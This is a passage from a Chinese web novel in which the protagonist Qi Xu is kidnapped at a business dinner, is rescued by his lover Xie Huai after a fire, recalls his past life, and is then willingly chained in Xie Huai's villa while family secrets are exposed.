他握上了李恺兴的手:“哈哈哈,李总监以后多关照。” 李恺兴和贺总交谈甚欢,另外一边戚栩和Jackson也在正常谈论项目合作的事宜。 上半季度如果和创智达成合作,那云瑞也已经迎来转接点, 说得上在一棵大树下共同乘凉。 戚栩不是第一次应酬,可以说是游鱼得水,英文说得流畅, 几乎不用助理进行翻译。 而创智也表现出合作意愿,可谓是只差一纸合约, 一桌人敬了一杯又一杯酒, 直到将一瓶大几十万的酒喝完。 服务员再拿了一瓶进入包厢。 Jackson叫了戚栩一声,戚栩偏头和他说话, 解答他所想知道的问题。 戚栩扫过Jackson的侧脸,一阵熟悉感油然而起,他所接触的外国人不多, 除了客户和学校外教就是沈谢两家老宅的马场的外国教练。 这人他应该是见过的,但不是在现实里见过。 至于在哪里, 照片…… 还没等戚栩想起来, 在他边上倒酒的服务员不小心把酒洒在了他的衣服上。 洒的酒不多, 就一片小酒渍, 但不巧的是戚栩今天穿了白衣服,红酒在衣服上还挺明显的。 服务员第一时间道歉, 戚栩不计较地摆了摆手。 待他和席上的人打个招呼离席,包厢的服务员也换了一个人。 戚栩刚走到洗手间门口发现放了一个维护的牌子,他转身到走廊尽头的洗手间。 在他走进去没多久,前一个洗手间门前的维护牌被撤走,继而走廊尽头的洗手间门口放了一个维护的牌子。 戚栩正在低头打湿手帕,忽然身后有人无声无息地靠近,一把尖锐的刀抵上了他的后腰。 戚栩抬眸,透过镜子看身后保镖模样的人,眸子里格外的平静,全然没有被威胁的惊慌,似乎已经预料到这件事的发生。 那人和戚栩对视的那一秒愣了下,对方双眸的情绪给了他压迫感。 洗手间又进来一个人,按着耳朵里的微型耳机说道:“发什么愣,赶紧办事。” 男人微微用力让尖刀更靠近戚栩:“戚先生,请你打电话给你的保镖让他从楼下离开,不然我的刀可不长眼。” 戚栩不为所动,直到男人将刀贴在了戚栩的脖子。 他才不紧不慢地拧干手帕,从口袋里拿出手机给陈威打电话。 “是我,等会我和李恺兴还有事回公司一趟,你先回去吧。” 陈威知道他们应酬喝了酒,提出开车送他们。 戚栩说:“不用了,创智的执行官送我们过去,可能要加班,你晚点到公司接我吧。” 陈威当下并没有怀疑什么,挂了电话后开车离开酒店。 另一个人在耳机里听到指示,即将抢过戚栩手上的手机时,一直配合的戚栩忽然反抗。 这两人都是通过严格训练出来的保镖,即使戚栩的身后能够防身,但在两人面前根本不够用,一招一式都能完全压制戚栩。 戚栩的胸腹被狠狠地挥了一拳,他哼都没哼一声,狠厉地回以对方一个侧踢,可二打一终究败落下方。 戚栩手上的手机飞了出去重重地砸在墙边,后盖全碎,人也被摔到了墙边,一手按在了全碎的屏幕上,不动声色地将裸露出来的跟踪器藏在手心。 保镖费劲力气压着他,警告:“戚先生,不要敬酒不喝喝罚酒,如果你不想你的员工受到牵连,比如今晚回家的时候遭遇车祸。” 戚栩冷冷地掀了一下嘴角,什么话都没有说,只是没有再反抗。 离开洗手间时,保镖捡起地上的手机检查一番带在身上,并清洁抹去刚刚打斗的痕迹。 两人戴着帽子避不开监控铤而走险要挟着戚栩下楼,走出酒店门口一辆SUV等候多时。 戚栩被人推上车,一部手机递到他手上。 他用那只掌心被屏幕碎片划伤的手接过,手机的另一边响起对戚栩来说算陌生的一把声音。 “好久不见,戚栩。” 不过他还是听出来是谁。 “宋若明。” 宋若明笑了起来,仿佛戚栩听出来他是谁是一件很值得开心的事,他的语气夸张:“哇,非常荣幸戚少能记得我。” 戚栩面无表情地说:“宋少回国就是这样举办接风宴?还真是别具一格。” 宋若明变得越发阴沉:“是啊,戚少真的很难邀请,谢淮把你看得这么宝贝,别无他法只能这样邀请戚少与我相聚。” 戚栩还没来得及说话,口鼻被人捂住用毛巾捂住,他吸入过量药剂晕了过去。 昏迷之前戚栩也终于想起来Jackson在哪里见过,谢淮调查宋若明身边的外国助理,在一张照片里外国助理和一位男性朋友拥抱,照片里Jackson只有一张侧脸。 因为无关紧要,他和谢淮都没有当回事。 包厢里已经结束应酬,李恺兴被灌得晕乎,这个时候他还记得去找戚栩。 开玩笑,这可是他的衣食父母,丢了他自己也不能把老板给丢了。 然而服务员进来告诉他,戚先生有事先行离开。 李恺兴其实有些伤心,老板走了也不把他带上。 他在酒店门口和创智的负责人告别,却看到陈威行色匆匆地过来。 “李先生,少爷没和你一起出来?” 李恺兴站在门口吹了一会儿风把人给吹清醒了:“他不是有事和你离开了吗?” 陈威是开到半路觉得不对,他家少爷从来不会在公司加班,而且和他通话的语气也不对,连忙在前面路口掉头回去,刚好就遇上结束应酬的李恺兴。 “他给我打电话说要和你回公司一趟。” 说着他第一时间给戚栩打电话,发现手机关机。 李恺兴的酒已经醒了半分:“不会出事了吧。” 陈威当机立断给打谢淮打电话报告此事,不到二十分钟相关人士和警察来到酒店接手案情。 三十分钟后,沈家,谢家,秦家都知道戚栩失踪了。 戚栩不知道自己昏迷了多久,睁开眼的时候天依旧一片漆黑,缓过来之后他意识到不是天黑,而是被关进了一个连窗户都没有的地下室。 没有一点光线,不见五指,不知时间,在一个幽闭的空间,宋若明是懂得如何把人的心理防线搞破防。 戚栩从小就戚国辉关进柴房,一关就是好几天,也习惯了一个人待在密闭空间。 他并没有第一时间起身观察身处的空间,而是保持一个姿势保存精力。 跟踪器在他身上,谢淮应该很快就能找到这里。 其实他最担心谢淮的情绪失控,这个时候谢淮看到酒店监控,应该已经知道他是自愿跟着他们走。 以身涉险,这是谢淮不可触碰的底线。 上一次他以身入局引高文均露出马脚,谢淮生了很大的气,这一次生的气应该更大了。 不是很好哄。 那也得哄。 地下室的门开了,戚国辉的出现并没有让戚栩觉得意外。 如今戚国辉人人喊打,沈家已经靠不住,只能靠亲儿子苟延残喘。 戚国辉在沈家拿了好些钱,大手笔地全部花出去,再次去闹的时候谁知沈家翻脸不认人,而他又被曝光在网络,谁都知道他不负责的恶名。 就像一只过街老鼠,东躲西藏,迫不得已找到了沈泽予,他那个亲生儿子又给他扔到这里来。 戚国辉借着微弱的灯光看到戚栩躺在地上,发出了得逞地奸笑:“小畜生,你也有今日,不是很威风吗?艹你妈。还想把我弄进去。” 说着他越发愤怒,像以前那样把所有受过的气撒在戚栩身上。 戚栩轻笑了一声:“你的另一只脚也不想要了。” 被戚栩打残了一只脚隐约作痛,戚国辉看到戚栩被捆住了双手也奈何不了他。 就在戚国辉的脚碰到戚栩的时候,宋若明的人进来一手给他甩开。 宋若明跟在后面,不悦地开口:“我不是说过谁也不能碰他吗,把我当成耳边风。” 戚国辉在宋若明面前低头哈腰,一改在戚栩面前威风的模样:“我只是让他配合宋少爷,不要再做无谓的反抗。” 宋若明知道谢淮身后的势力,也不打算把事情弄得无法控制,他只是想把沈泽予从谢淮手里换出来。 他蹲在戚栩面前:“戚栩,我不会动你半分,只要谢淮把泽予还给我,我会带着他出国,永远都不会再回来,当然,你得祈祷谢淮不会对他做什么,不然我也不会将你完好无损地放出去。” 沈泽予失踪了个个都在怀疑谢淮,真把他男朋友当成垃圾回收站了吗。 戚栩说:“我想知道,你为什么觉得是谢淮把沈泽予关起来。” 宋若明知道沈泽予喜欢谢淮,很早就知道了,但他没有放弃追求,好在功夫不负有心人,泽予他被谢淮伤透了心,答应和他一起出国。 他也知道戚栩和谢淮在一起,结合泽予对戚栩所做的事,谢淮必定不会放过他。 “他在机场失踪,不是谢淮做干的还能是谁干的。” 戚栩发现他们都进入了一个盲区,沈泽予有手有脚,为什么就不能自己走呢。 宋若明完全被沈泽予当枪使了,就算追究下来,沈泽予这个参与者的罪名罪不至死,而宋若明不一样,已经没有第二次被送出国的机会。 好一招借刀杀人。 这已经不是沈泽予第一次用这个手段,十几年的精英教育培养这么一个人,也不知道是沈家夫妇的功劳还是沈泽予身上流着戚国辉的血,基因的问题。 一次,两次,无数次,沈泽予都会像只狡猾的狐狸顺利逃脱。 这一次戚栩不再手软,将会彻底按死沈泽予。 “你怎么就觉得不是他自己故意藏起来,让你着急走投无路绑架我,他自己摆脱罪名,而你已经深陷沼泽无法脱身。” 宋若明一愣,明显慌了一下,忍不住抓着戚栩的头发将人抬起:“你休想挑拨离间,泽予不会害我的。” 戚栩继续说:“哦,你确定他喜欢的人是你吗?” 问题直击宋若明灵魂深处。 外面已经下起大雪,地下室没有地暖,宋若明整个人如同坠入湖底,浑身发抖,他仍自说自话:“他喜欢的人是我。” 戚栩被留在了地下室,刚刚所接触到光线也就此消失。 他身上并没有外套,只穿着一件毛衣,捆住他双手的麻绳已经被他解开。 戚栩平静地等待救援,如果宋若明再进来,他也有胜算把人反劫持,只不过可能会受伤。 谢淮看见了可能会发疯。 那就一起发疯吧,他们本来就是疯子。 第86章 第 86 章 在港岛的谢淮第一时间查看戚栩的跟踪器, 发现跟踪器依然工作中,手机关机,跟踪器却毫发无损。 他的眉头一跳, 疼痛席卷而来, 恨不得将戚栩锁起来,关一辈子。 他立即将跟踪器的信息发给首都的人,不到一个小时,戚栩所在的郊外别墅已经被包围,一只苍蝇都飞不出来。 谢淮带着这份隐忍乘坐私人飞机回首都, 落地已经凌晨两点。 沈枫凯的人见到谢淮从机场出来迎了上去,谢淮穿着黑色大衣雷厉风行,身上的气势极盛, 只是扫过一眼就让人压力倍增。 戚栩失踪之事沈家让沈枫凯出面,老爷子的人脉几乎全部给了他,任他吩咐, 唯一目的只要戚栩能平安地回来。 沈枫凯在车里等候多时,谢淮并没有上他的车, 迫于无奈下,沈枫凯不请自来上了谢淮的车。 “酒店卫生间发现打斗痕迹,戚栩应该就是在那里被胁迫, 在电梯里两人都戴着帽子,车牌也是套牌, 暂时还查不出信息, 警方已经全方位查看监控。” “可以确定应该不是为了钱而绑架, 家里至今没有收到电话。” 沈家上下惊恐不已, 曾云已经准备好大量现金作为赎金,在家里哭肿了眼睛, 沈桌海自乱阵脚不成器,还是沈老爷子稳住了这个家。 谢家老爷子知道这件事也给予帮助,谢曜廷更是亲自到沈家拜访。 谢淮面前的笔记本放着戚栩被两位陌生人左右夹击电梯里的画面。 一个人紧扣着他的手臂,另一个人被后背用刀具抵着他,而在电梯门开了那瞬间,戚栩垂着手不动声色地做了一个动作。 准确来说是拉钩。 谢淮看到这个动作瞬间火大。 这是他飞港岛的前一晚,在床上的时候戚栩哄着他拉钩承诺会在首都乖乖听话,所有事等他回首都再做了断。 他飞港岛不全然为了工作,还有已经找到沈泽予故意制作车祸的证据,他要过去盯着。 戚栩是不听话的,他早该看清楚。 谢淮盖上笔记本:“沈枫凯,我帮你们沈家找到戚栩,给予我的报酬是从今之后戚栩与你们沈家无任何关系。” 沈枫凯的霎时间千变万化,皱眉:“什么意思?戚栩他是我们沈家人,这是无法改变的事实。” 谢淮看向他的眼神冷淡:“那就变成可以改变的事实,戚栩没有把你们当成家人,你们也没有他当作家人,你们不管,以后戚栩由我管着,比在沈家好上百倍,还是说你们沈家还想要别的利益?” 沈枫凯勃然大怒:“你这是当我们沈家卖儿子?” 谢淮漠然地看着沈枫凯发火,等到沈枫凯无能狂怒之际,再往他的心脏插上一刀:“你们沈家选择了沈泽予,我只要戚栩,戚栩被绑架是你们沈家好儿子沈泽予的手笔。” 沈枫凯似乎不愿相信谢淮所说的话:“泽予不是被你关起来了吗?” 谢淮不愿意再浪费口舌和他争辩,放出了那段电话录音。 “阿淮!你终于肯接我电话了。” 声音沙哑,情绪激动,还有不太正常的语气,这足够让沈枫凯听出来沈泽予的声音。 谢淮迟迟没有回应,沈泽予的情绪逐渐疯狂,接近崩溃:“阿淮你说句话,让我听听你的声音吧,好不好。” 谢淮始终没有说话,沈泽予的精神状态不太正常,忽然大笑了起来,歇斯底里地说:“你为什么喜欢戚栩,明明是我先喜欢你的,你为什么不能喜欢我,他有什么好的,他乡野出身不过是身上流着沈家的血而已,我才是接受和你一起接受精英教育的人,我和你才般配。” 沈泽予阴冷冷地说:“是不是他消失了,你就会喜欢我。” 这个时候的谢淮已经知道戚栩失踪时间,如今沈泽予这个电话打过来无疑是火上添油。 “东躲西藏的日子不好过,好好过完这一天。” 这句话停在沈泽予耳里不是生命倒计时,而是如愿以偿。 “恨比爱更长久,阿淮你恨我吧。” 谢淮却说:“你只是一个无关紧要的跳脚小丑,恨你,还够不上。” 谢淮冰冷语气让沈泽予心里唯一的希望破灭:“你为什么不恨我,我做了这么多事,你应该恨我,阿淮你恨我吧,不然我真的会让戚栩消失在这个世界。” 不知道当时谢淮听到沈泽予这句话有何反应,一旁的沈枫凯感到无比的惊恐,寒毛四起。 电话录音到此结束,公共电话亭五分钟的通话时间结束了这个电话。 沈枫凯无比地震惊,像是受到打击颓败地倚着靠背。 所有的事都是沈泽予做的,当了他18年的亲弟弟的沈泽予。 沈枫凯还沉浸在这一件事中,再次望向车外风景发现这不是去酒店的路。 “现在去哪里?不去酒店吗?” 那里才是戚栩失踪的第一现场。 脱离警察,身后的车辆全都是谢淮的人。 在车上,谢淮受到一条境外发来的信息—— 想要救戚栩,放了沈泽予。 谢淮并没有回复,打开跟踪器软件确认戚栩所在的地方。 郊外别墅。 戚栩根据自己准时的生活作息,他的身体状态基本确认已经到了他的极限熬夜时间,凌晨两点过后。 这个时间谢淮应该已经落地首都,要来抓他了。 戚栩心大,还有心思眯了一会儿,只是太冷了,他活生生被冻醒。 地下室门口再次被打开,戚栩被人架起来带上了顶层。 宋若明似乎得到指示,开始让手下的人收拾东西,戚栩被他绑在了椅子上。 宋若明一脸着急地看着手机,下一秒,铃声响起的一瞬间迫不及待地接通。 “泽予,你在哪里?” 椅子上戚栩听到沈泽予的名字微微抬眸,看着宋若明一脸失而复得的模样。 “谢淮把你放出来了吗?我们等会就去机场,你等我。” 不知道沈泽予说了什么,宋若明把手机递给戚国辉。 戚国辉谨慎地接过手机,一开始神情紧张地听着沈泽予说话,慢慢地神情放松,眉眼间还带着欣喜。 把手机还给宋若明之时,他也收到了对方递过来的一沓现金,第一时间离开别墅,谁也没有拦他。 既然沈泽予已经被放了出来,宋若明没必要再和戚栩纠缠下去,在谢淮还不知道戚栩在这里之前,他必须离开。 宋若明走到被五花大绑的戚栩面前,居高临下:“戚栩,其实我挺感谢你被认回了沈家,泽予斗不过你,他孤立无援,只能依靠我。” 其实他知道在方倩生日会那天早上沈泽予故意打电话给他来卖惨,也知道筹划陷害事情太仓促,极有可能被发现。 不过谁也没有预料到从山村出来的戚栩如此聪慧,一眼识破了他们的计划。 最后他被戚栩和徐亦辰联手爆出校园霸凌事件他也认下,因为他已经知道沈泽予已经陷入深渊走不出来,所以他也在深渊陪着他。 戚栩冷声开口:“孤立无援?沈家人哪一个不是站在他的身边,他为了什么?不甘吗,不甘我和谢淮在一起。” 不知道是哪个词踩到宋若明的愤怒开关,他暴躁如雷:“他只是不甘你抢走了他所有东西,他从小娇生贵养,众星捧月,你一来抢走了所有人注意力,我只是做了点让他开心的事而已。” 戚栩看着窗外的黑暗:“沈泽予这么快就被谢淮放出来,你觉得谢淮有这么信任你,难道不应该带着他来这里交换吗?” 宋若明狠狠地推了一把戚栩:“闭嘴,你以为泽予像你一样,他很单纯的,他说会和我共度余生。” 连带椅子,戚栩被直直地推倒在地,手臂被压麻了。 保镖在宋若明耳边说着什么,不多时,宋若明脸上神情森冷:“你特么的在拖延时间。” 看来谢淮已经找到这里了。 就在宋若明被谢淮的速度所惊到的瞬间,躺在地上戚栩一个横扫将宋若明踢倒在地,继而一个奋力而起压在他身上,用从地下室摸索回来的铁线怼在了宋若明的脖子上。 所有人都被戚栩这一动作弄得触不及防,根本不知道他什么时候把绳子给解开了。 宋若明明显感受到脖子上那片单薄的皮肤给尖锐的铁线给抵住。 戚栩笑了起来:“铁线虽细,但我插进你的大动脉一样能起到放血的作用。” 宋若明没了挣扎的心思,戚栩的凶狠他体验过,生日会的情景历历在目。 戚栩抓着宋若明起身,面前的几个保镖绷着劲儿看着他。 戚栩反客为主,正当防卫成了威胁的那人。 楼下传来脚步声和吵杂声,陈威第一个冲上楼,迎面和这几个保镖打斗。 老高紧跟其后加入了打斗中。 在这个时候谢淮从楼下上来,看到戚栩拿着铁线抵着宋若明。 谢淮还没说话,身后的沈枫凯已经白了脸:“戚栩。” 戚栩朝谢淮弯了弯嘴角,可后者面无表情,严肃至极,也极其可怕。 也就是谢淮朝宋若明走过去的瞬间,宋若明暴起,从后腰拿出一把小刀往戚栩的手臂一划,戚栩吃痛没稳住手,把铁线插在了宋若明的颈侧下方,不是大动脉。 宋若明忍痛用小刀抵住了戚栩,眼睛发红地瞪着距离他一步之遥的谢淮:“后退,准备一辆车,不然一起同归于尽。” 宋若明根本不想出手伤人,然而保镖一个个倒下,他已然失去了去机场的大好机会,沈泽予还在等着他。 谢淮在看到戚栩的手臂流出鲜血,鲜红的,眼里闪过惊惧,狠狠地刺痛了他的心。 谢淮深呼吸,眸心震顿,眼神深沉让人不寒而栗,从口袋里拿出一把车钥匙放在桌面。 在茫茫大雪中,已经离开了的戚国辉去而又返,所有人的关注点都在楼上,他偷偷潜到后门走入厨房,点燃了火。 等到所有人注意到厨房着火时,火势已经控制不住,同时厨房有煤气罐,极有可能发生爆炸。 浓烟滚滚,谢淮的人惊慌地跑上楼:“谢少,厨房着火,火势太大,我们要尽快撤离。” 顶层也已经被呛鼻的白烟所覆盖,能见度下降。 宋若明并不想死,情绪激动一边推着戚栩一边往楼梯走:“下去!走。” 沈枫凯已经被陈威带走,顶层剩下谢淮,宋若明和戚栩三人。 在烟雾中,谢淮和戚栩对视了一眼。 宋若明抵挡不住浓烟,双眼不受控制地蒙上一层泪水。 就在此时,戚栩一个拐肘让宋若明松了手,他自己一个蹲下,谢淮一个侧推打落他手上的小刀,胸口也被踹了一脚,直直地退了几步靠在墙边。 戚栩第一时间捡起那把刀,被谢淮接过扔出了窗外。 现在不是说话的时候,浓烟越来越大了,戚栩捏了捏了谢淮的手,拉着他往楼梯走。 在楼梯边上,戚栩被忽然冲过来的宋若明用力一撞,踉跄了一下,没踩稳朝楼梯跌去。 谢淮接近本能地紧紧地抱着戚栩,由于惯性的原因,谢淮没能把戚栩拉回来,两人一同滚下楼梯。 尽管被谢淮紧紧地护着,滚下楼梯的时候戚栩还是受到了撞击,又因为创伤应激,滚到底时最终陷入了昏迷。 第87章 第 87 章 戚栩被紧急送院, 中途他清醒了半分,谢淮手上沾染了鲜血,紧紧地握着他的手。 他第一次在谢淮眼里看到惊慌…… 不是第一次, 是第二次。 第一次是在上一世他跌落楼梯时, 28岁的谢淮眼里闪过惊慌,穿着西装的他全然失去了以往的冷静冲了过来,满眼的痛楚。 戚栩的视角被血糊住了眼睛,头疼欲绝,静静地看着这一幕。 谢淮不断地叫着他的名字, 声音像好几百年没喝过水的沙哑,可能他摔昏了头,怎么听出了一丝哽咽。 他没有当场死亡, 楼上的尖叫声穿透了他的耳膜,他觉得烦躁便闭上了眼睛。 谁知这一闭就永远没有再睁开。 可他还存在意识,每天躺在病床上, 身上的仪器嘀嘀作响,他真的很想说一句吵死人了。 比机器声更准时的是谢淮日复一日地到来。 他的手被握住, 起初是没有温度的手套,那会他应该在重症监护,过了几天后, 他被转到了普通病房。 他每天醒来谢淮已经在他的病房里,谢氏不要了么, 每天来他这里干什么。 直到他的手再次被握住, 掌心触摸到一片胡茬和温润。 谢淮在吻他的手。 戚栩是震惊的, 甚至有种错觉是他的臆想。 谢淮不断地喃喃:“戚栩, 活过来吧,只要活着才有希望, 不要放弃,不要放弃,求你。” 接近恳求,每天重复着。 躺着的那段时间只有谢淮进来探望,戚栩难得过了一段安生日子。 有时候他连谢淮的话都没听完就睡过去了,他意识到自己醒来的时间越来越短了。 不知过了多久,今日还没有听到谢淮的声音,他努力地保持清醒。 混沌的,他听到了那一声无比幽长的骤停声,灵魂跟着一起下坠。 再次睁开眼,眼前的谢淮比记忆里的年轻,戚栩无法分辨是前世还是今生。 他终于可以抬手抚上谢淮的脸,回应当时日复一日的话:“我没有放弃,你说的话我都听到了。” 不知道谢淮有没有听清,戚栩只是用自己能听到的声音说话,说完后继而闭上了眼睛,宛如一切都是梦。 谢淮骤然握紧了戚栩的手,这一刻他并不觉得自己需要吃药,一直以来克制的情绪,在此时释放着眼底无尽的疯狂。 他这段时间缺失的灵魂碎片受到了共鸣,慢慢地回到他的身上,全然覆盖在缺失的地方。 有些事情可能不能只用梦境解释。 戚栩再次入院,这一次的紧急情况比上一次更严重。 惊动了医院的高层,一群又一群不像保镖反倒像经历过严格训练的人看守,让人不禁汗流直背。 戚栩身体并无大碍,送出抢救室的时候已经清醒,只不过药物的作用,同时紧绷的情绪霎时间放松下来,在看到谢淮在身边疲惫感油然而起,昏睡过去了。 一晚过去,对于平常人来说只是平平无奇的一个晚上,而对沈谢两家来说,惊险万分。 沈枫凯像是受到了什么刺激,发疯了一样去找沈泽予,不知是出气还是一心想求证某件事。 翌日一早,沈家人就来探戚栩,他们还不知道戚栩被绑是沈泽予一手策划。 被人拦在了走廊:“抱歉,谢绝一切外人的探望,请回。” 沈卓海和保镖力争着什么,在走廊吵吵闹闹。 VIP病房里,戚栩被谢淮用一种极其占有欲的姿势卷到胸前,针水昨晚被护士拔掉,贴着医用粘带的手环着谢淮的腰。 戚栩醒来的瞬间,谢淮也同时睁眼,戚栩怀疑他是不是整晚都没有睡着。 戚栩皱眉:“你有睡吗?” 谢淮的下巴抵在他的头顶:“睡了。” 戚栩问:“要不要再睡会儿?” 谢淮反手抚着戚栩的后背,哄着人入睡:“再睡儿吧。” 戚栩的指尖勾着谢淮的手指,慢慢地闭上眼睛,两人此时都心照不宣没有提起被绑的事。 戚栩其实有些后怕,后悔主动入局,前世他只身一人,天不怕地不怕,不管报复戚国辉还是报复宋若明,都是不顾一切,以至于被打击也独自承受。 当他再一次看到谢淮惊慌的眼神莫名的心痛,如果他那天晚上调到回包厢,是不是就万事大吉。 可能不会,有沈泽予这个不定时因素在,还有宋若明的终极恋爱脑,他今晚不入局,以后都会入局,还不如趁早彻底斩断他们这份龌龊的心思。 谢淮谢绝了沈家人的看望,戚栩是他们沈家人,如今他受伤了,凭什么不允许探望。 沈卓海气势汹汹去找谢老讨个说话,谢老像是任由谢淮自生自灭,一句我也管不了打发了他。 来闹的不止是沈家,还有宋家,宋若明有先见之明知道绑架事件会惹出事端,让人通知了家里。 宋父勃然大怒,好不容易送出国的儿子在他神不知鬼不觉地回来,还做出绑架之事招惹上谢淮,必然还牵动了秦家。 宋若明是家里的幼子,老太太和宋母得知此事在哭闹,宋父无奈之下只好动用逝去的老太爷对某位退位大人物的恩情来保宋若明。 老太爷生前嘱咐宋家临危之际不得轻易动用这份恩情,这是宋家存亡最后的希望。 宋父找到了这个大人物,对方承诺会将宋若明安全送出国。 来调查戚栩失踪案的警察中安插了其他人,原计划逮捕宋若明之后,会直接将人送上私人飞机,后续的事也由大人物和秦家交涉。 然而谢淮一直都没有通知警察郊外别墅的地址,警惕得连警察都不信。 身边的亲信亲自把宋若明抓住之后送进了高一级的警察局。 宋家一家大小到秦家拜访秦老爷子,他们宋家是医生世家,老太爷生前更是参与过重大手术,凭着这点宋家在首都屹立不倒。 但秦家有自己的一派,宋家那一套在秦老面前不受用。 宋若明将会以绑架罪被定罪,为他所谓的爱情而付出代价。 这件事还是徐亦辰探望的时候说给戚栩听。 当然,是视频探望。 谢淮不允许任何人过来探望戚栩,连沈老爷子也只是在病房外看一眼。 “他们一家也好意思去求秦爷爷,宋若明没保住,好歹保住了全家,国内待不下去,举家移民国外,也算是连根拔起。” 戚栩知道宋若明背后倚靠的人,怪不得他前世把宋若明弄得名声狼藉,宋家都有东升再起之势,原来借靠的那一棵大树戚栩连树枝都碰不到。 可能他死了之后,随着时间迁移,宋若明还是安然无事继承宋家。 这一世的结局,宋若明被抓,宋家保住了家族。 前两日发生惊心动魄的事徐亦辰也有听闻,边说边观察戚栩的情况。 戚栩只是手上被划了一刀,伤势较轻不用缝针,这几天连续大补脸上气血充足,比徐亦辰这个连续加了好几晚班的人还要精神。 徐亦辰问:“别墅不是已经被阿淮的人所包围,戚国辉怎么能再次潜入别墅放火?” 这件事戚栩还是听陈威事后汇报,他回:“别墅后院有条隐秘的通道,戚国辉一直藏在那里没有离开,等到谢淮他们走进别墅上了楼才进来放火。” 徐亦辰蹙眉,戚国辉这个亡命之徒是想一把火把所有人都烧死。 “人应该被阿淮的人抓住了吧,怎么不见送入警察局。” 他知道宋若明被拘留,沈泽予和戚国辉也被抓住了,但迟迟没有转交警局。 戚栩一愣,戚国辉是逃不出去,当晚就被谢淮的人给抓住,谢淮为什么没有把人送进警察局。 徐亦辰看出戚栩表情不对,连忙开口:“阿淮遵纪守法,不会乱来的。” 说着这话他越发心虚,完全没有说服力。 然而大半天谢淮都没有出现过,戚栩打电话无人接听,他只能发信息,最后收到乖乖等着四个字。 当天下午三点,沈老爷子的一处私人钓鱼庄园内,谢淮扶着沈老爷子来到互通的茶室。 隔壁的茶室传来咒骂声,还有被击打的惨叫和求饶,最后有人拿着一部摄像机进去。 没有转交到警察局的戚国辉被折磨得浑身没一处好肉,只有脸上无伤口,吊着一口气叙述着当年调换的真相。 戚国辉已经把责任推给死去的老婆十八年,自己把自己骗了,刚刚一开口的时候下意识地说不管他的事。 保镖按下录制键,用棍子敲了敲,戚国辉害怕地抖了抖,重新录制。 18年前调换之事是戚国辉夫妇利欲熏心,一个知道自己命不久矣,一个想做梦一飞冲天,所以就有了当年的换子。 戚国辉以为沈家是省城的人,以后再找也很容易,谁知等到曾云出院的时候,戚国辉眼睁睁地看着一群人走进机场不知往哪里飞。 儿子没了,自己还得养别人的儿子。 以至于戚国辉这18年都气撒在了戚栩身上,不见得是有多疼爱那个只见过一面的亲生儿子,只是把戚栩当成出气筒。 戚国辉之后又说抱错的原因,是因为沈家给了他一笔钱让他隐瞒当年的真相。 他一个无依无靠的人只能听命行事。 再一次把责任推给沈家。 这一次保镖没有按下暂停键,任由戚国辉说着他来了首都之后沈家再次给他塞钱的事。 如果这一份报道发出去,无异于将沈家推入火坑,遭遇前所未有的动荡,撑得住还能苟延残喘,撑不住只能败退。 谢淮沉默地,认真地,听着戚国辉说得一字一句,恍惚之间,他似乎曾经听过这份叙述。 戚国辉说完之后被带走,老高推开茶室中间的屏风门:“少爷,沈老,戚国辉一字不漏地将当年的真相说出来,只是……” 他看了一眼沈老爷子,其中大部分关乎沈家名声。 沈老爷子面沉如水,发生了这么多事终究是对不起戚栩这个孩子,也该做一个了断。 “这是沈家欠他的,如今真相大白,盖章定论,他该离开沈家,不该困在这里。” 当天晚上七点,随着这份影像的发布还有一则蓝底白字的官方通报,沈泽予涉嫌故意伤人的罪名被逮捕。 一时间沈家深陷水火之中,沈卓海被这两件事气得大病一场,曾云一心想见戚栩却频频被阻。 沈枫凯着手处理并紧急公关一些谣言,却任由戚国辉视频爆发。 戚栩得知这件事的时候已经被谢淮接出院,并关了起来,不是大平层,更不是老宅,而是属于他的**,山间别墅。 他的活动地点暂时只有卧室。 戚栩在卧室沙发上处理完工作邮件,一一安抚完公司高层,并告知他们,他并没有跑路以及人身安全等。 垂在沙发下的脚忽然一痒,他连忙缩起脚,叮当作响,一团白色毛绒竖着尾巴高傲地走过。 昨晚他嫌这里无聊抱怨了一番,今早这团东西就出现在卧室。 戚栩盘着腿,脚踝随着动作发出叮叮当当地声音,一条锁链系在黑色绒皮上,锁链很长很长,足以到达卧室的每一处。 他垂眸,随意地蹬了一下腿,已然习惯被锁起来。 第88章 第 88 章 前世戚栩孑然一身, 想过退休的时候养一只猫陪伴身边,如今还没退休,猫已经养上了。 戚栩躺在沙发, 刚刚离开的布偶跳了上来, 窝在他的脚边,似乎对他脚边晃晃悠悠的锁链很感兴趣。 谢淮走进房间时看到这一幕,戚栩懒洋洋地躺着,噙着笑有一下没一下地动着脚踝上的铁链逗猫,小布偶围着他的双脚跳来跳去。 把锁链当成逗猫棒也只有戚栩一个人。 也是, 戚栩根本没把这场囚禁当回事,没有任何拒绝的意思,自愿戴上这条锁链。 谢淮有时候都觉得戚栩对他的容忍度是不是太高了, 无任何原则性地接受他的所有。 不论优点,缺点,还是不为人知的癖好。 戚栩逗猫逗累了, 转头一看,发现谢淮不知道站在门口多久了。 他笑着问:“好看吗?” 谢淮不紧不慢地走进来, 猫咪感受到谢淮身上的气息,周身的毛瞬间炸了,嗷呜了一声立即窜到一边, 警惕地看着这位对它来说的不速之客。 谢淮并没有将这只小东西放在眼里,径直地将戚栩压在身下, 顶开他的双脚, 俯身在他的颈肩轻嗅。 家里有一猫一狗, 对戚栩来说是一件过于幸福的事。 特别这只狗还特喜欢咬人, 不分昼夜,只喜欢咬他一个人。 “爷爷早上给我打了电话, 让我在你家休养一段时间,这几天沈家,沈家老宅大门围满了记者。” 好在他并没有以云瑞的任何身份出现在公众照片,不然连云瑞都会受到牵连。 李恺兴已经连续发了好几十条慰问确认他的平安,生怕他有什么好歹就此撤股。 谢淮叼着戚栩颈侧的皮肤:“媒体那边我已经打好了招呼,还有M城,前去挖掘新闻的记者全部无功而返,不用担心,没有人能伤害你。” 谢淮给了各界媒体施压,不看僧面也看佛面,舆论是在有权人面前很好控制。 戚栩被咬痛了,推开谢淮的身躯,失笑:“被你关着是最安全的,我还用得着害怕?” 谢淮起身握住戚栩的脚踝:“早上怎么打开过。” 戚栩倏然起身,掐着他的脖子:“你真变态,在房间里装监控。” 谢淮迎上了戚栩的目光,单手环着他的腰:“我走的时候在左脚,现在绒皮在右脚。” 戚栩:“……” “那你还不够变态,竟然没在房间装监控。”他跨坐在谢淮大腿上,捏着他从外面回来冰凉的耳垂,“凉,我就解开了,醒来之后我就戴回来,一天过去你怎么记得这么清楚戴哪只脚。” 谢淮说:“我亲手戴的,不会忘记。” 戚栩嗤了一声,没有开口问谢淮要把他关到什么时候,最长不过也是关到这个寒假结束。 “谢总,最近频繁早退,公司不要了?钱赚够了?” 